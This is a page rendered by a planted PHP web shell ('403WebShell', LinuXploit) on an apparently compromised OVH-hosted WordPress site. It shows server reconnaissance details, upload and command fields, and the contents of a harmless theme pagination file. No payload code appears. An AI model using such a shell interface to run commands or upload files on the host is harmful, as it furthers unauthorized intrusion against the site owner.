Uname:Linux webm002.cluster129.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 51.91.236.255  /  Your IP : 216.73.217.120
Web Server : Apache
System : Linux webm002.cluster129.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : laureet ( 1012854)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/laureet/www/wp-content/themes/rhye/inc/functions/blog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/laureet/www/wp-content/themes/rhye/inc/functions/blog/pagination.php
<?php

/**
 * Custom class for pagination "Prev" button
 *
 * @return void
 */
add_filter( 'previous_posts_link_attributes', 'arts_filter_previous_posts_link_attributes', 10, 2 );
function arts_filter_previous_posts_link_attributes() {
	$attributes = 'class="page-numbers prev material-icons"';
	return $attributes;
}

/**
 * Custom class for pagination "Next" button
 *
 * @return void
 */
add_filter( 'next_posts_link_attributes', 'arts_filter_next_posts_link_attributes', 10, 2 );
function arts_filter_next_posts_link_attributes() {
	$attributes = 'class="page-numbers next material-icons"';
	return $attributes;
}

add_filter( 'get_pagenum_link', 'arts_filter_base_get_pagenum_link' );
function arts_filter_base_get_pagenum_link( $result ) {
	$result = str_replace( 'wp-admin/admin-ajax.php', '', $result );
	return $result;
}

/**
 * Remove h2 heading from pagination
 * Remove default prev/next links and add custom ones
 * Add links container separated from prev/next links
 *
 * @return void
 */
function arts_posts_pagination( $args = array(), $class = 'pagination' ) {
	$args = wp_parse_args(
		$args,
		array(
			'prev_next'          => false, // hide default prev/next
			'prev_text'          => 'keyboard_arrow_left',
			'next_text'          => 'keyboard_arrow_right',
			'screen_reader_text' => esc_html__( 'Posts navigation', 'rhye' ),
		)
	);

	$links     = paginate_links( $args );
	$prev_link = get_previous_posts_link( $args['prev_text'] );
	$next_link = get_next_posts_link( $args['next_text'] );

	$template = apply_filters(
		'arts_navigation_markup_template',
		'<nav class="navigation %1$s" role="navigation"><div class="screen-reader-text d-none">%2$s</div><div class="nav-links">%3$s<div class="nav-links__container">%4$s</div>%5$s</div></nav>',
		$args,
		$class
	);

	echo sprintf( $template, $class, $args['screen_reader_text'], $prev_link, $links, $next_link );
}

Youez - 2016 - github.com/yon3zu
LinuXploit